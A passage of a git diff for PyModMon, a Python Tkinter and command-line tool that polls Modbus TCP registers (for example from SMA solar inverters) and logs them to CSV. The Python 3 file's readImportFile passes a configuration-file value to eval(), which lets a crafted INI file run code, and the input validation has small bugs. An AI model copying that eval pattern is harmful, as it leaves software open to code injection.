regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + 